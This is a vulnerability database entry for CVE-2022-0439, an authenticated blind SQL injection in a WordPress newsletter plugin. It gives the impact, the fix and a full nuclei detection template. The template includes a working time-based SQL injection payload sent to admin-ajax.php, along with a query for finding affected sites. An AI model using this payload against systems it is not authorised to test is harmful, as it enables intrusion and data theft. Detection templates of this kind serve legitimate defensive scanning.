HexBrain

Browse / CVEs / CVE-2022-0439

CVE-2022-0439· CWE-89

Email Subscribers & Newsletters <= 5.3.1 - Authenticated SQL Injection

highseverity
8.8CVSS score
4.2%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.

Impact

Attackers can execute arbitrary SQL commands and access sensitive data, potentially leading to data breach or data tampering.

Fix

Update to version 5.3.2, or a newer patched version

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: @timeout: 20s
Positive when: duration >= 10 and status_code == 200 and contains(body, "column-email")

Run it with nuclei: nuclei -id CVE-2022-0439 -u <target>

The full check
id: CVE-2022-0439

info:
  name: Email Subscribers & Newsletters <= 5.3.1 - Authenticated SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.
  impact: |
    Attackers can execute arbitrary SQL commands and access sensitive data, potentially leading to data breach or data tampering.
  remediation: |
    Update to version 5.3.2, or a newer patched version
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0439
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/email-subscribers/email-subscribers-newsletters-531-authenticated-or-cross-site-request-forgery-blind-sql-injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0439
    epss-score: 0.04156
    epss-percentile: 0.90953
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/email-subscribers/"
  tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,email-subscribers,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /wp-admin/admin-ajax.php?action=ajax_fetch_report_list&order=,(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 10'
          - 'status_code == 200'
          - 'contains(body, "column-email")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from